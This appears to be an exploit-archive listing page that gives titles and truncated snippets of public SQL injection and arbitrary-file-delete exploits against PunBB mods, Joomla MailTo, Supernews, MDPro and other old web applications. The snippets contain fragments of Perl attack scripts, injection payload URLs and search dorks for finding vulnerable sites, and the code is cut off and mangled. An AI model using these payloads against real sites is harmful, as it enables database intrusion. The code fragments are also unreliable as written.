PunBB Automatic Image Upload <= 1.3.5 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl 0-Day PunBB Automatic Image Upload = v1.3.5 Remote SQL Injection Exploit Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew Works only if '$AllowStats = "USERGROUP";' is not commented in "uploadimgconfig.php" FIND LINE: 75...

PunBB Automatic Image Upload 1.3.5 Delete File

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

PunBB Automatic Image Upload 1.3.5 - Arbitrary File Delete

!/usr/bin/perl 0-Day PunBB Automatic Image Upload $AllowDelete = "Members"; use LWP::UserAgent; use HTTP::Cookies; my $UserName,$PassWord,$DirectoryFile,$DeleteFile = @ARGV; if@ARGV 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; sub Login my $Login =...

ShopCartDx 4.30 SQL Injection

!/usr/bin/perl 0-Day ShopCartDx 'Mozilla/5.0', maxredirect = 0, cookiejar = $Cookies, or die $!; my $Get = $UserAgent-get$HostName.SQLInjection$MemberID; if$Get-content = /0-91,5 : a-zA-Z0-9-.2,15 : a-zA-Z0-91,15/i refresh$HostName, $1, $2, $3; print " Exploit Successed \n"; print "...

PunBB Affiliates Mod 1.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

PunBB Affiliations.php Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

PunBB Affiliations.php IN 1.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php IN Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?in=-1+OR+1!=SELECT...

PunBB VoteForUs.php OUT 1.0.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

phpFanfiction SQL Injection Exploit

!/usr/bin/perl phpFanfiction Remote SQL injection Greetz www.MainHack.com - www.ServerIsDown.org - www.sux0r.net VOP Crew Vaksin13 OoNBoy Paman R3VANBASTARD Kecemplungkalen eminem Shiro zxvf Pizzyroot iwannine Jupe Crew makasih buat ngenet gratisnya wkwkwk use HTTP::Request; use LWP::UserAgent;...

Oxygen2PHP 1.1.3 Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

MDPRO CWGuestBook 2.1 SQL Injection

Author: Dante90, WaRWolFz Crew Title: 0-Day MDPRO CWGuestBook = v2.1 Mod Remote SQL Injection By Dante90 MSN: [email protected] Web: www.warwolfz.org 0-Day MDPRO CWGuestBook = v2.1 Mod Remote SQL Injection By Dante90 code...

MD-Pro 1.083.x - Survey Module pollID Blind SQL Injection

MD-Pro 1.083.x - Survey Module pollID Blind SQL Injection !Informationschema: Product: MDPro v 1.083.x site: www.maxdev.com Vuln: Blind $QL Injection pollID Author: XaDoS thanks to S3rg3770 dork: inurl:modules.php?op= "pollID" "Powered By MDPro" Vuln: PollID...

Supernews 2.6 SQL Injection

Supernews 2.6 SQL Injection Vulnability Download: http://phpbrasil.com/script-download/vT0FaOCySSH/5817 Discovered by Observing and DD3str0y3r Collaps3 CREW - Made In Brazil Dork: Supernews 2.6 Example:...

Supernews 2.6 - index.php?noticia SQL Injection

Supernews 2.6 - index.php?noticia SQL Injection Supernews 2.6 SQL Injection Vulnability Download: http://phpbrasil.com/script-download/vT0FaOCySSH/5817 Discovered by Observing and DD3str0y3r Collaps3 CREW - Made In Brazil Dork: Supernews 2.6 Example:...

Supernews 2.6 (index.php noticia) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== Supernews 2.6 index.php noticia Remote SQL Injection Vulnerability ==================================================================== Supernews 2.6 SQL Injection...

Supernews 2.6 - 'index.php?noticia' SQL Injection

Supernews 2.6 SQL Injection Vulnability Download: http://phpbrasil.com/script-download/vT0FaOCySSH/5817 Discovered by Observing and DD3str0y3r Collaps3 CREW - Made In Brazil Dork: Supernews 2.6 Example:...

Joomla Component MailTo (article) SQL Injection Vulnerability

No description provided by source. Joomla Component MailTo SQL Injection Vulnerability Vulnerability found by: H!tm@N Contact: khghitmanatgmaildotcom Site: www.khg-crew.ws Greetz: boom3rang, KHG, chs, redc00de -=Kosova Hackers Group=--=KHG-Crew=- ScriptName: "Joomla" Component: "MailTo commailto"...

Joomla! Component MailTo - 'article' SQL Injection

Joomla Component MailTo SQL Injection Vulnerability Vulnerability found by: H!tm@N Contact: khghitmanatgmaildotcom Site: www.khg-crew.ws Greetz: boom3rang, KHG, chs, redc00de -=Kosova Hackers Group=--=KHG-Crew=- ScriptName: "Joomla" Component: "MailTo commailto" Date: "April 2006" Exploit...

Joomla! Component MailTo - article SQL Injection

Joomla! Component MailTo - article SQL Injection Joomla Component MailTo SQL Injection Vulnerability Vulnerability found by: H!tm@N Contact: khghitmanatgmaildotcom Site: www.khg-crew.ws Greetz: boom3rang, KHG, chs, redc00de -=Kosova Hackers Group=--=KHG-Crew=- ScriptName: "Joomla" Component:...

FlexCMS Calendar - itemID Blind SQL Injection

FlexCMS Calendar - itemID Blind SQL Injection FlexCMS CalendarItemId Blind SQL Injection Vulnerability AUTHOR: MisterRichard Developer site: http://www.flexcms.dk/ Admin login site: http://target.com/flexadmin/ = Vulnerability author : Lanti-Net = Contact: lanti-netathotmaildotcom = Site :...